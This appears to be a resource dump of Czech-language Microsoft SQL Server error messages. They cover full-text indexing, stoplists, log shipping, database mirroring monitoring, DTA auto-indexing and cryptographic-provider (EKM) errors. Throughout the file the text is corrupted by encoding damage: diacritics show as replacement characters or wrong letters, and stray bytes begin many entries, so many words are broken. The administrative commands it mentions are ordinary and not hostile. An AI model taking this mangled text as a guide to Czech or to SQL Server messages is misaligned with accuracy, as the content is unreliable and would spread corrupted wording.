pVlastnost vyhled�v�n� %1!s! ji~ v seznamu vlastnost� vyhled�v�n� existuje. Zadejte n�zev vlastnosti vyhled�v�n�, kter� bude v zadan�m seznamu vlastnost� vyhled�v�n� jedine
n�. Chcete-li zobrazit seznam vlastnost� vyhled�v�n� v aktu�ln� datab�zi, pou~ijte zobrazen� katalogu sys.registered_search_properties.

$Seznam vlastnost� vyhled�v�n� %1!s! nelze vyYadit, proto~e je pou~�v�n nejm�n jedn�m fulltextov�m indexem. Chcete-li identifikovat fulltextov� indexy, kter� pou~�vaj� seznam vlastnost� vyhled�v�n�, z�skejte ID seznamu vlastnost� vyhled�v�n� ze sloupce property_list_id zobrazen� katalogu sys.registered_search_property_lists a pot� z�skejte ID objektu vaech tabulek nebo indexovan�ch zobrazen�, jejich~ fulltextov� index je pYidru~en k tomuto seznamu vlastnost� vyhled�v�n� ve sloupc�ch object_id a property_list_id zobrazen� katalogu sys.fulltext_indexes. U ka~d�ho fulltextov�ho indexu odeberte seznam vlastnost� vyhled�v�n� nebo fulltextov� index vyYate, pokud ji~ nen� nad�le potYebn�. K odebr�n� seznamu vlastnost� vyhled�v�n� pou~ijte pY�kaz ALTER FULLTEXT INDEX ON <n�zev_tabulky> SET SEARCH PROPERTY LIST OFF;. K vyYazen� fulltextov�ho indexu pou~ijte pY�kaz DROP FULLTEXT INDEX ON <n�zev_tabulky>;.

lArgument pYedan� fulltextov� funkci nen� platn�.

XPYi kompresi nebo dekompresi doalo k chyb fulltextov�ho indexu. Fulltextov� index mo~e b�t na disku poakozen. Spusete pY�kaz DBCC CHECKDATABASE a znovu naplHte index.

�Data vracej�c� se zpt do procesu syst�mu SQL Server z hostitele d�mona filtru jsou poakozen�. To mo~e b�t zposobeno nespr�vn�m filtrem. D�vka pro operaci indexov�n� bude automaticky spuatna znovu s pou~it�m mena� velikosti d�vky.

Stopslova o nulov� d�lce nelze pYidat do fulltextov�ho seznamu stopslov. Zadejte jedine
n� stopslovo, kter� obsahuje alespoH jeden znak.

�U~ivatel nem� opr�vnn� pro zmnu aktu�ln�ho v�choz�ho seznamu stopslov %1!s!. Chcete-li zmnit v�choz� seznam stopslov datab�ze, je tYeba m�t opr�vnn� ALTER na nov�m i star�m v�choz�m seznamu stopslov.

XPYi kompresi nebo dekompresi doalo k chyb fulltextov�ho indexu. Fulltextov� index mo~e b�t na disku poakozen. Spusete pY�kaz DBCC CHECKDATABASE a znovu naplHte index.

dPYi komunikaci s fulltextov�m hostitelem d�mona filtru (FDHost) doalo v syst�mu SQL Server k chyb 0x%1!s! . Zkontrolujte, zda je proces FDHost spuatn. Chcete-li proces FDHost restartovat, spusete pY�kaz restart_all_fdhosts procedury sp_fulltext_service nebo restartujte instanci syst�mu SQL Server.

�U~ivatel nem� opr�vnn� k pY�stupu ke stoplistu %2!s! polo~ky %1!s!.

�Doalo k intern� chyb fulltextov�ho tezauru (HRESULT = 0x%1!s!).

�Soubor tezauru pro LCID %1!s! a glob�ln� tezaurus nelze na
�st.

�Slovn� spojen� dela� ne~ 512 znako standardu Unicode nejsou v souboru tezauru povoleny. Slovn� spojen�: %1!s!.

TFulltextov� dotaz m� velmi slo~itou klauzuli NEAR v predik�tu CONTAINS nebo ve funkci CONTAINSTABLE. Chcete-li zajistit, ~e je klauzule NEAR spuatna �span, pou~�vejte pouze aest nebo m�n term�no. ZmHte dotaz tak, abyste zjednoduaili podm�nku odebr�n�m pYedpon nebo opakuj�c�ch se term�no.

lPYi pou~it� fulltextov�ho dotazu doalo k chyb. Toto jsou nkter� b~n� pY�
iny: chyby pYi dlen� slov 
i vypraen� 
asov�ho limitu, opr�vnn� FDHOST 
i probl�my seznamu ACL, chybj�c� opr�vnn� �
tu slu~by, chybn funguj�c� filtry IFilter, probl�my komunika
n�ch kan�lo souboro FDHost a sqlservr.exe atd.

�Do seznamu vlastnost� vyhled�v�n� nelze pYidat vlastnosti nulov� d�lky. Zadejte n�zev vlastnosti vyhled�v�n�, kter� obsahuje alespoH jeden znak a kter� je v zadan�m seznamu vlastnost� vyhled�v�n� jedine
n�. Chcete-li zobrazit seznam vlastnost� vyhled�v�n� v aktu�ln� datab�zi, pou~ijte zobrazen� katalogu sys.registered_search_properties.

HBhem fulltextov�ho plnn� doalo k z�va~n� chyb, kter� zposobila zruaen� plnn�. Typ plnn� je: %1!s!, n�zev datab�ze je %2!s! (ID: %3!s!, n�zev katalogu je %4!s! (ID: %5!s!, n�zev tabulky %6!s! (ID: %7!s!). Opravte chyby zaznamenan� v protokolu fulltextov�ho proch�zen�. Pot� v plnn� pokra
ujte. Z�kladn� syntaxe pY�kazu Transact-SQL pro tuto operaci je: ALTER FULLTEXT INDEX ON n�zev_tabulky RESUME POPULATION.

LPY�kaz pro import plnn� pro datab�zi %1!s! (ID: %2!s!), katalog %3!s! (ID: %4!s!) bude zruaen z dovodu z�va~n� chyby (%5!s!). Opravte chyby zaznamenan� v protokolu fulltextov�ho proch�zen�. Pot� pokra
ujte v importu odpojen�m a opakovan�m pYipojen�m datab�ze nebo pYiveden�m datab�ze do re~imu offline a n�sledn�m pYiveden�m do re~imu online. Pokud chyba nen� zotaviteln�, opakujte sestaven� fulltextov�ho katalogu.

�Syst�mu SQL Server se nepodaYilo vytvoYit adres�Y fulltextov�ch dat filtru. Mo~e to b�t zposobeno t�m, ~e hodnota parametru FulltextDefaultPath je neplatn� nebo �
et slu~by syst�mu SQL Server nem� opr�vnn�. Dokud tento probl�m nebude vyYeaen, indexov�n� fulltextov�ho objektu blob nebude mo~n�. Po opraven� probl�mu restartujte syst�m SQL Server.

�Syst�mu SQL Server se nezdaYilo na
�st SID skupiny slu~eb hostitele FDHost. Dovodem mo~e b�t poakozen� instalace.

8Syst�mu SQL Server se nezdaYilo nastavit informace o zabezpe
en� v adres�Yi fulltextov�ch dat filtru ve slo~ce FTData. Dokud tento probl�m nebude vyYeaen, fulltextov� indexov�n� nkter�ch typo dokumento pravdpodobn nebude mo~n�. Bude tYeba opravit instalaci syst�mu SQL Server.

�Fulltextov� komponenta filtru %1!s!, kter� plnila katalog %2!s! v pYedchoz� verzi syst�mu SQL Server, se v aktu�ln� verzi nevyskytuje (verze komponenty je %3!s!, �pln� cesta je %4!s!). Z tohoto dovodu se mohou v�sledky hled�n� od pYedchoz�ch verz� m�rn liait. Chcete-li se tomu vyhnout, opakujte sestaven� fulltextov�ho katalogu pomoc� aktu�ln� verze komponenty filtru.

�Fulltextov� komponenta modulu pro dlen� na slova %1!s!, kter� plnila katalog %2!s! v pYedchoz� verzi syst�mu SQL Server, se aktu�ln� verzi nevyskytuje (verze komponenty je %3!s!, �pln� cesta je %4!s!, po~adovan� jazyk je %5!s!, pou~it� jazyk je %6!s!). Z tohoto dovodu se mohou v�sledky hled�n� od pYedchoz�ch verz� m�rn liait. Chcete-li se tomu vyhnout, opakujte sestaven� fulltextov�ho katalogu pomoc� aktu�ln� verze komponenty modulu pro dlen� na slova.

hFulltextov� komponenta obslu~n� rutiny protokolu %1!s!, kter� plnila katalog %2!s! v pYedchoz� verzi syst�mu SQL Server, se v aktu�ln� verzi nevyskytuje (verze komponenty je %3!s!, �pln� cesta je %4!s!, ID programu je %5!s!). Z tohoto dovodu se mohou v�sledky hled�n� od pYedchoz�ch verz� m�rn liait. Chcete-li se tomu vyhnout, opakujte sestaven� fulltextov�ho katalogu pomoc� aktu�ln� verze komponenty obslu~n� rutiny protokolu.

�Hlavn� slou
en� fulltextov�ho katalogu %1!s! v datab�zi %2!s! bylo zruaeno.

hFulltextov� dotaz nepou~�v� hodnotu zadanou v pomocn�m parametru dotazu OPTIMIZE FOR. Pro hodnoty fulltextov�ch dotazo, kter� obsahuj� pomocn� parametr dotazu OPTIMIZE FOR, je povolen pouze jeden term�n. Upravte hodnotu pomocn�ho parametru dotazu OPTIMIZE FOR tak, aby obsahovala jeden nepr�zdn� term�n.

\Fulltextov� plnn� v tabulce %1!s! nelze spustit, proto~e fulltextov� katalog importuje data z existuj�c�ch katalogo. Spusete pY�kaz znovu po dokon
en� operace importu.

�Agrega
n� v�raz nemo~e obsahovat fulltextov� predik�ty. Agrega
n� v�raz um�stte do poddotazu.

�Klauzule GROUP BY nemo~e obsahovat fulltextov� predik�ty. Um�stte v�raz klauzule GROUP BY do poddotazu.

LFulltextov� index nelze vytvoYit, proto~e skupina souboro %1!s! neexistuje nebo je n�zev skupiny souboro zadan� nespr�vn. Zadejte platn� n�zev skupiny souboro.

0PYi zpracov�n� fulltextov�ho dotazu nebo prov�dn� fulltextov� indexov�n� nelze vygenerovat mezipame seznamu stopslov. Pro na
ten� mezipamti seznamu stopslov nen� k dispozici dostatek pamti. Dotaz 
i pY�kaz k indexov�n� spusete znovu, a~ bude k dispozici v�ce prostYedko.

lPYi sestavov�n� fulltextov�ho indexu nastal nedostatek pamti syst�mu. D�vka pro operaci fulltextov� indexov�n� bude automaticky spuatna znovu s pou~it�m mena� velikosti d�vky.

�Data vracej�c� se zpt do procesu syst�mu SQL Server z hostitele d�mona filtru jsou poakozen�. To mo~e b�t zposobeno nespr�vn�m filtrem. D�vka pro operaci indexov�n� bude automaticky spuatna znovu s pou~it�m mena� velikosti d�vky.

�Hostitelsk� proces fulltextov�ho d�mona filtru (FDHost) byl zastaven neobvykl�m zposobem. K t�to situaci mo~e doj�t, pokud nespr�vn konfigurovan� nebo chybn funguj�c� jazykov� komponenta (napY�klad modul pro dlen� na slova, stemmer nebo filtr) zposob� nezotavitelnou chybu bhem fulltextov�ho indexov�n� nebo zpracov�n� d�vky. Proces bude automaticky restartov�n.

lFulltextov� ID seznamu stopslov %1!s! neexistuje.

 Klienta SQL Server pro dlen� slov se nepovedlo inicializovat. Hostitelsk� proces d�mona filtru pravdpodobn nen� v platn�m stavu. To mo~e br�nit tomu, aby SQL Server inicializoval nezbytn� syst�mov� objekty. Dokud tento probl�m nebude vyYeaen, fulltextov� dotazy budou selh�vat. Zkuste zastavit SQL Server a veaker� hostitelsk� procesy d�mona filtru a restartujte instanci syst�mu SQL Server.

�Fulltextov� kan�l indexov�n� nelze inicializovat. Pravdpodobn nen� k dispozici dostatek syst�mov�ch prostYedko pro pYidlen� pamti 
i vytvoYen� �loh. Restartujte instanci syst�mu SQL Server.

<Intern� fulltextov� chyba

@Neplatn� n�zev instance CM.

8Neplatn� n�zev matice.

LNeplatn� 
�slo portu TCP: %1!s!.

LNeplatn� �roveH zabezpe
en� s�t.

DNeplatn� �roveH izolace s�t.

PNeplatn� identifik�tor GUID matice.

tBylo pou~ito neplatn� nebo duplicitn� ID cihly: %1!s!

,Neplatn� parametr

�Proveden� ulo~en� procedury %1!s! pro nastaven� matice se nezdaYilo s v�sledkem HRESULT 0x%2!s!.

�Operace vlo~en� cihly do metadat se nezdaYila bhem prov�dn� ulo~en� procedury %1!s!.

�Operace vlo~en� spr�vce do metadat se nezdaYila bhem prov�dn� ulo~en� procedury %1!s!.

�Operace vlo~en� parametru do metadat se nezdaYila bhem prov�dn� ulo~en� procedury %1!s!.

�Nelze vyhradit ~�dn� dala� cihly. Bylo dosa~eno maxim�ln�ho po
tu cihel: %1!s!.

�Byl zad�n neplatn� n�zev serveru pro konfiguraci cihly matice.

TNeplatn� identifik�tor GUID cihly CM

LNeplatn� identifik�tor GUID cihly

�%1!s!   je povoleno pouze v samostatn�m re~imu (bez matice).

�%1!s!   je povoleno pouze v jednou~ivatelsk�m re~imu (-m).

�VyYazen� konfigurace st�vaj�c� matice se nezdaYilo bhem prov�dn� ulo~en� procedury %1!s!.

�PYi aktualizaci metadat CM za �
elem odebr�n� cihly doalo k�chyb.

Spr�vci konfigurace se nepodaYilo prov�st z�pis do offline konfigura
n�ho souboru rozhran� WMI bhem prov�dn� ulo~en� procedury %1!s!.

�Posledn� operaci s parametrem brick_id %1!s! se nepodaYilo dokon
it z dovodu chyby metadat.

�Pokus o zruaen� vyhrazen� cihly, kter� nen� vyhrazena: %1!s!

�Proveden� ulo~en� procedury %1!s! se nezdaYilo v dosledku chyby s k�dem %2!s!.

`%1!s!   je povoleno pouze v re~imu matice.

|Cihla s n�zvem serveru %1!s! ji~ v konfiguraci existuje.

xRelace %1!s! ji~ existuje. Pou~ijte jin� n�zev relace.

lTuto operaci mo~e prov�st pouze vlastn�k relace.

�U~ivatel nem� dostate
n� opr�vnn� k optimalizaci jedn� nebo v�ce zadan�ch datab�z�.

�Pokud vyvol�v�te DTA pro automatick� indexov�n�, nejde vytvoYit adres�Y DTA pro ulo~en� souboru mo~nost� vyladn�.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde vytvoYit soubor mo~nost� vyladn� DTA.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde mo~nost vyladn� DTA zapsat do souboru.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde vytvoYit �lohu DTA.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde z objektu �lohy DTA na
�st informace o stavu �lohy a omezen�.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde nastavit omezen� pro objekt �lohy DTA.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde vytvoYit proces DTA.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde ukon
it proces DTA potom, co sel~e jeho pYiYazen� objektu �lohy DTA.

�Pokud DTA vyvol�te pro automatick� indexov�n�, nejde obnovit proces DTA a zah�jit vyladn�.

�Pro automatick� indexov�n� byla zadan� neplatn� mo~nost vyladn�.

�Kdy~ rua�te vyladn� DTA pro automatick� indexov�n�, nejde ukon
it �lohu DTA.

�Kdy~ rua�te vyladn� DTA pro automatick� indexov�n�, nejde odstranit soubor mo~nost� vyladn� DTA.

�Kdy~ rua�te vyladn� DTA pro automatick� indexov�n�, nejde vy
istit hypotetick� indexy a statistiky.

�Vyladn� DTA pro automatick� indexov�n� se podporuje jenom v Azure DB.

�PYi prov�dn� �lohy souvisej�c� s ladn�m DTA nejde z�skat do
asn� adres�Y winfab.

�PYi prov�dn� �lohy souvisej�c� s ladn�m DTA nejde vytvoYit GUID.

@Operace s Yetzcem selhala.

�Nejde z�skat adres�Y protokolu winfab bhem prov�dn� �lohy t�kaj�c� se ladn� DTA.

�Nejde z�skat adres�Y bal�
ku dat winfab bhem prov�dn� �lohy t�kaj�c� se ladn� DTA.

`Fulltextov� dotazy v oboru vlastnost� nelze zadat do zadan� tabulky, proto~e jej� fulltextov� index nen� konfigurov�n pro vyhled�v�n� vlastnost�. Chcete-li povolit podporu vyhled�v�n� v oboru vlastnost�, je tYeba pYidru~it fulltextov� index k seznamu vlastnost� vyhled�v�n� a znovu jej naplnit. Syntaxe Transact-SQL pro tuto operaci: ALTER FULLTEXT INDEX ON <n�zev_tabulky> SET SEARCH PROPERTY LIST <n�zev_seznamu_vlastnost�>;.

pOperace %1!s! nen� na platform %2!s! podporov�na.

<PY�kaz plnn� importem pro datab�zi %1!s! (ID: %2!s!) a ID katalogu %3!s! se rua� z dovodu z�va~n� chyby (%4!s!). Opravte chyby zaznamenan� v protokolu fulltextov�ho proch�zen�. Pot� pokra
ujte v importu odpojen�m a opakovan�m pYipojen�m datab�ze nebo pYiveden�m datab�ze do re~imu offline a n�sledn�m pYiveden�m zpt do re~imu online. Pokud chyba nen� zotaviteln�, opakujte sestaven� fulltextov�ho katalogu.

TDatab�ze %1!s! nen� v re~imu ONLINE.

�Prim�rn� polo~ka pYesouv�n� protokolu ji~ v datab�zi %1!s! existuje.

�Datab�ze %1!s! neexistuje jako prim�rn� datab�ze pYesouv�n� protokolu.

�Prim�rn� datab�ze %1!s! m� sekund�rn� datab�ze aktivn�ho pYesouv�n� protokolu. NejdY�ve vyYate sekund�rn� datab�ze.

�Sekund�rn� datab�ze %1!s!.%2!s! ji~ existuje pro prim�rn� %3!s!.

�Polo~ka pYesouv�n� protokolu ji~ v sekund�rn� datab�zi %1!s! existuje.

�Datab�ze %1!s! neexistuje jako sekund�rn� datab�ze pYesouv�n� protokolu.

�Prim�rn� datab�ze %1!s! nemo~e m�t spr�vn funguj�c� obnoven� SIMPLE pro pYesouv�n� protokolu.

Zadan� parametry agent_id %1!s! nebo agent_type %2!s! netvoY� platnou dvojici pro zpracov�n� sledov�n� pYesouv�n� protokolu.

4PYesouv�n� protokolu je podporov�no v edic�ch Enterprise, Developer a Standard syst�mu SQL Server. Edice t�to instance je %1!s!, a nen� podporov�na.

|PYesouv�n� protokolu nen� v t�to instanci nainstalov�no.

4Nelze vytvoYit �lohu pYesouv�n� protokolu s n�zvem %1!s!. �loha se stejn�m n�zvem ji~ v syst�mu existuje a nepatY� do kategorie pYesouv�n� protokolu.

Polo~ka pro prim�rn� server %1!s! prim�rn� datab�zi %2!s! v t�to sekund�rn� neexistuje. Registrujte nejdY�ve prim�rn� datab�zi.

�Polo~ka pro prim�rn� server %1!s! prim�rn� datab�zi %2!s! ji~ existuje.

Prim�rn� server %1!s! datab�ze %2!s! m� aktivn� sekund�rn� datab�ze pYesouv�n� protokolu. NejdY�ve vyYate sekund�rn� datab�ze.

�Pro parametr @threshold_alert byla zadan� neplatn� hodnota = %1!s!.

�Zad�na hodnota %1!s! pro dobu aktualizace je neplatn�. Doba aktualizace by mla b�t v rozmez� 1-120 minut.

L�loha aktualizace pro monitor zrcadlen� datab�z� ji~ existuje. Chcete-li zmnit dobu aktualizace, pou~ijte proceduru zobrazen� sys.sp_dbmmonitorchangemonitoring

�PYi nastavov�n� �lohy sledov�n� zrcadlen� datab�z� doalo k intern� chyb.

�PYi �prav �lohy sledov�n� zrcadlen� datab�z� doalo k intern� chyb.

@Parametry jsou mimo rozsah.

�Jednotky pro dobu aktualizace �lohy monitoru zrcadlen� datab�z� byly zmnny.

tDoalo k intern� chyb v monitoru zrcadlen� datab�z�.

�Datab�ze %1!s! nen� zrcadlena. Nebyly provedeny ~�dn� aktualizace z�kladn� tabulky.

�Bylo vyvol�no upozornn� pro metriku oldest unsent transaction. Aktu�ln� hodnota %1!s! pYevyauje mezn� hodnotu %2!s!.

Z�kladn� tabulky monitoru zrcadlen� datab�z� nebyly vytvoYeny. VytvoYte je spuatn�m procedury zobrazen� sys.sp_dbmmonitorupdate.

�Bylo vyvol�no upozornn� pro metriku unsent log. Aktu�ln� hodnota %1!s! pYevyauje mezn� hodnotu %2!s!.

�Bylo vyvol�no upozornn� pro metriku unrestored log. Aktu�ln� hodnota %1!s! pYevyauje mezn� hodnotu %2!s!.

�Bylo vyvol�no upozornn� pro metriku mirror commit overhead. Aktu�ln� hodnota %1!s! pYevyauje mezn� hodnotu %2!s!.

hPY�kaz %1!s! mus� b�t spuatn v datab�zi msdb.

Pouze 
lenov� pevn� role serveru sysadmin nebo pevn� datab�zov� role dbm_monitor v datab�zi msdb mohou prov�st tuto operaci.

L�loha monitoru zrcadlen� datab�z�

LPl�n monitoru zrcadlen� datab�z�

��loha sledov�n� zrcadlen� datab�ze neexistuje. �lohu mo~ete nastavit pomoc� procedury sp_dbmmonitoraddmonitoring.

V syst�mov�ch datab�z�ch, hlavn�ch datab�zi, datab�zi msdb, modelov� datab�zi nebo datab�zi tempdb nelze vytvoYit upozornn�.

�Parametr %1!s! nemo~e m�t hodnotu null ani b�t pr�zdn�. Zadejte hodnotu pro uveden� parametr a opakujte operaci.

�N�zev serveru zadan� v parametru @@servername m� aktu�ln hodnotu null.

�PYi vytv�Yen� spojen� se vzd�len�m serverem monitoru doalo k chyb.

�PYi konfiguraci vzd�len�ho serveru monitoru doalo k chyb.

4SQL Serveru se nepovedlo vytvoYit fulltextov� adres�Y FTData. Dovodem mo~e b�t neplatn� parametr FulltextDefaultPath nebo chybj�c� opr�vnn� �
tu slu~bu SQL Serveru. Do vyYeaen� tohoto probl�mu nebudou fulltextov� funkce fungovat. Po vyYeaen� probl�mu restartujte SQL Server.

pMo~nost nelze vyYadit, proto~e nen� zadan� v %1!s!.

�PY�stup k %1!s! %2!s! je zablokov�n, proto~e podpis je neplatn�.

<PY�kaz DDL nen� povolen.

�Heslo k pYihl�aen� %1!s! je neplatn�. Pro pYihl�aen� je tYeba nastavit nov� heslo, ani~ by bylo zad�no star� heslo.

�Nelze naj�t certifik�t nebo asymetrick� kl�
 ze souboru %1!s!. K�d chyby: 0x%2!s!.

hMo~nost WITH SIGNATURE nelze v datab�zi zadat.

dSymetrick� kl�
 nelze zaaifrovat sebou sam�m.

�Opr�vnn� %1!s! INFORMATION_SCHEMA 
i SYS %2!s! nelze udlit, odepY�t ani odvolat.

�Identifik�tor SID vlastn�ka datab�ze ulo~en� v hlavn� datab�zi se lia� od identifik�toru SID vlastn�ka datab�ze ulo~en�ho v datab�zi %1!s!. Tuto situaci byste mli napravit a resetovat vlastn�ka datab�ze %2!s! pomoc� pY�kazu ALTER AUTHORIZATION.

�Mo~nost MUST_CHANGE nelze zadat spole
n s mo~nost� HASHED.

�Priv�tn� kl�
 %1!s! nelze vyYadit, proto~e jedna 
i v�ce entit je j�m zaaifrovan�.

hPolo~ka %1!s! u objektu %2!s! %3!s! neexistuje.

�Objekt %1!s! pou~�t jako potvrzovac� podpis. Jako potvrzovac� podpisy lze pou~�t pouze moduly.

�Na objekt zabezpe
en� datab�ze odkazuje v datab�zi objekt %1!s! a nelze jej vyYadit.

U~ivatele nelze pYemapovat na pYihl�aen�. PYemapov�n� lze prov�st pouze s u~ivateli namapovan�mi na pYihl�aen� Windows 
i SQL.

|U~ivatele s jedn�m typem pYihl�aen� nelze pYemapovat na jin� typ. NapY�klad u~ivatel typu SQL mus� b�t namapov�n na pYihl�aen� typu SQL, nelze jej namapovat na pYihl�aen� typu Windows.

�U~ivatele nelze pYemapovat na pYihl�aen� %1!s!, proto~e toto pYihl�aen� je ji~ namapov�no na u~ivatele v datab�zi.

�Nelze vytvoYit implicitn�ho u~ivatele se zvl�atn�m pYihl�aen�m %1!s!.

�Heslo typu HASHED nelze nastavit pro pYihl�aen� se zapnutou mo~nost� CHECK_POLICY.

�NepodaYilo se vygenerovat u~ivatelskou instanci v syst�mu SQL Server. U~ivatelskou instanci mohou vygenerovat pouze m�stn� u~ivatelsk� �
ty, interaktivn� u~ivatelsk� �
ty, �
ty slu~by 
i d�vkov� �
ty. PYipojen� bude ukon
eno.%1!s!

�Nelze z�skat vlastnosti zprostYedkovatele kryptografick�ch slu~eb. K�d chyby zprostYedkovatele: %1!s!.

�Objekt %1!s! je pY�lia dlouh�. Maxim�ln� povolen� d�lka je %2!s! bajto.

tZprostYedkovatel kryptografick�ch slu~eb %1!s! %2!s! v knihovn DLL se lia� od identifik�toru GUID zaznamenan�ho v syst�mov�m katalogu pro zprostYedkovatele s identifik�torem %3!s!.

�Neplatn� vlastnost zprostYedkovatele kryptografick�ch slu~eb: %1!s!.

�ZprostYedkovatel kryptografick�ch slu~eb s identifik�torem GUID %1!s! ji~ existuje.

�Knihovnu %1!s! nelze na
�st. Dala� informace naleznete v protokolu chyb.

�Nelze otevY�t relaci %1!s! %2!s!. K�d chyby zprostYedkovatele: %3!s!. (%4!s!)

�Nelze inicializovat zprostYedkovatele kryptografick�ch slu~eb. K�d chyby zprostYedkovatele: %1!s!. (%2!s!)

xZprostYedkovatel kryptografick�ch slu~eb nen� dostupn�.

�ZprostYedkovatel kryptografick�ch slu~eb %1!s! je zak�zan�.

Verze rozhran� API pro aifrov�n� SQL %1!s!.%2!s! implementovan� poskytovatelem nen� podporov�na. Podporov�na je verze %3!s!.%4!s!.

�ZprostYedkovatel nepodporuje zadan� typ kl�
e 
i mo~nost %1!s!.

`Nelze zadat algoritmus existuj�c�ho kl�
e.

�Nelze vytvoYit kl�
 %1!s! ve zprostYedkovateli. K�d chyby zprostYedkovatele: %2!s!. (%3!s!)

�Objekt %1!s! nelze exportovat ze zprostYedkovatele. K�d chyby zprostYedkovatele: %2!s!. (%3!s!)

�Operace nen� podporov�na kl�
em zprostYedkovatele kryptografick�ch slu~eb.

�Algoritmus %1!s! je neplatn�. K�d chyby zprostYedkovatele: %2!s!. (%3!s!)

�Kl�
 zprostYedkovatele kryptografick�ch slu~eb nelze aifrovat pomoc� hesla ani jin�ho kl�
e.

�Token pYihl�aen� nelze vytvoYit pro existuj�c� ovYovac� data. Je-li vlastn�k datab�ze u~ivatel syst�mu Windows, ovYte, zda jsou informace o pY�sluan�m �
tu syst�mu Windows dostupn� v syst�mu SQL Server.

�Nelze pYidat objekt %1!s!, proto~e je ji~ namapov�n na pYihl�aen�.

�Nelze pYidat objekt %1!s! %2!s!, proto~e pro pYihl�aen� ji~ existuje objekt %3!s!.

�Nelze vyYadit objekt %1!s!, proto~e na tohoto zprostYedkovatele ji~ odkazuje objekt %2!s!.

�Nelze vyYadit objekt %1!s!, proto~e nen� namapov�n na toto pYihl�aen�.

�Objekt zabezpe
en� serveru %1!s! nem� k objektu %2!s! %3!s! pYidru~en� ~�dn� povYen�.

�NepodaYilo se z�skat nebo deaifrovat tajn� k�d pro objekt %1!s! %2!s!.

�Objekt %1!s! nelze pou~�t v neprim�rn�m bezpe
nostn�m kontextu.

Kl�
 s objektem %1!s! %2!s! ve zprostYedkovateli neexistuje nebo byl pY�stup odepYen. K�d chyby zprostYedkovatele: %3!s!. (%4!s!)

�Nelze vytvoYit kl�
 %1!s! ve zprostYedkovateli. ZprostYedkovatel neumo~Huje zad�n� n�zvu kl�
e.

�Neplatn� identifik�tor algoritmu: %1!s!. K�d chyby zprostYedkovatele: %2!s!. (%3!s!)

�Kl�
 zprostYedkovatele kryptografick�ch slu~eb nemo~e b�t do
asn� kl�
.

tSlu~ba EKM (Extensible Key Management) je zak�zan� nebo nen� podporovan� v t�to edici syst�mu SQL Server. Chcete-li ji povolit, pou~ijte pY�kaz sp_configure 'EKM provider enabled'.

�Slu~ba EKM (Extensible Key Management) nen� v t�to edici syst�mu SQL Server podporovan�.

tDoalo k v�jimce bhem vol�n� zprostYedkovatele kryptografick�ch slu~eb %1!s! v rozhran� API %2!s!. Syst�m SQL Server ukon
uje proces %3!s!. Typ v�jimky: %4!s!. K�d v�jimky: 0x%5!s!.

�PYihl�aen� %1!s! nelze zosobnit za �
elem z�sk�n� pY�stupu k objektu %2!s! %3!s!.

�PYi pokusu o vypr�zdnn� vaech spuatn�ch relac� auditov�n� doalo k chyb. Nkter� ud�losti byly pravdpodobn ztraceny.

\Form�t poskytnut�ho identifik�toru zabezpe
en� SID parametru je neplatn�. Identifik�tor zabezpe
en� SID je pravdpodobn nespr�vn� nebo popisuje nespr�vn� typ u~ivatele.

Zadan� hodnota RETENTION_DAYS je vta� ne~ maxim�ln� povolen� hodnota. Hodnota RETENTION_DAYS mus� b�t mena� ne~ %1!s! dn�.

OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad hesel SQL Serveru, proto~e je moc kr�tk�. Heslo mus� m�t aspoH %1!s! znako.

OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad hesel SQL Serveru, proto~e je moc dlouh�. Heslo mo~e m�t nejv�a %1!s! znako.

OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad hesel SQL Serveru, proto~e nen� dost slo~it�. Heslo mus� m�t aspoH %1!s! znako a mus� obsahovat znaky ze tY� z n�sleduj�c�ch 
tyY sad: velk� p�smena, mal� p�smena, des�tkov� 
�slice a symboly.

 PY�kaz CREATE CERTIFICATE nemo~e kombinovat souborov� a bin�rn� re~imy. PYepiate pY�kaz pouze s pou~it�m kl�
ov�ho slova FILE nebo BINARY.

TZadan� omezen� maxim�ln� velikosti souboru protokolu auditov�n� je mena�, ne~ je minim�ln� povolen� hodnota. Maxim�ln� limit omezen� velikosti mus� b�t nejm�n 2 MB.

�Tento pY�kaz vy~aduje, aby byl objekt %1!s! zak�z�n. Zaka~te objekt %2!s! a znovu spusete tento pY�kaz.

hCesta souboru protokolu auditov�n� nen� platn�.

�Nelze naj�t objekt %1!s! %2!s! nebo nem�te po~adovan� opr�vnn�.

Nelze prov�st operaci %1!s! s objektem %2!s! %3!s! z u~ivatelsk� datab�ze. Tuto operaci je tYeba prov�st v hlavn� datab�zi.

�Podrobn� auditov�n� nen� v t�to edici syst�mu SQL Server k dispozici. Dala� informace o podporovan�ch funkc�ch v jednotliv�ch edic�ch syst�mu SQL Server naleznete na webu Knihy online pro SQL Server.

 Zadan� omezen� maxim�ln� velikosti je vta�, ne~ je maxim�ln� povolen� hodnota. Omezen� maxim�ln� velikosti mus� b�t mena� ne~ 16777215 TB.

LPY�kaz RESERVE_DISK_SPACE nelze zadat, pokud je pou~it parametr MAXSIZE = UNLIMITED. Sni~te hodnotu parametru MAXSIZE nebo nezad�vejte pY�kaz RESERVE_DISK_SPACE.

DNastaven� zahrnut� v hlavn� datab�zi se neshoduje s vlastnost� souboro datab�ze. Chcete-li znovu nastavit vlastnost zahrnut�, pou~ijte pY�kaz ALTER DATABASE.

�S typem CLR %1!s! nelze sv�zat v�choz� hodnotu 
i pravidlo, proto~e existuj�c� zhuatn� sloupec pou~�v� tento datov� typ. Upravte datov� typ zhuatn�ho sloupce nebo odeberte ozna
en� sloupce jako zhuatn�ho.

�Nelze naj�t knihovnu zprostYedkovatele kryptografick�ch slu~eb s identifik�torem GUID %1!s!.

�Nelze vytvoYit polo~ku %1!s! pro objekt %2!s! %3!s!, proto~e to nen� podporov�no zprostYedkovatelem EKM %4!s!.

PPY�kaz OPEN SYMMETRIC KEY nesm� odkazovat na symetrick� kl�
 vytvoYen� ve zprostYedkovateli EKM (Extensible Key Management). Symetrick� kl�
e vytvoYen� ve zprostYedkovateli EKM jsou automaticky otevYeny pro objekty zabezpe
en�, kter� �span ovY� zprostYedkovatele kryptografick�ch slu~eb.

�Vlastnost %1!s! kl�
e vr�cen� zprostYedkovatelem EKM neodpov�d� o
ek�van� hodnot.

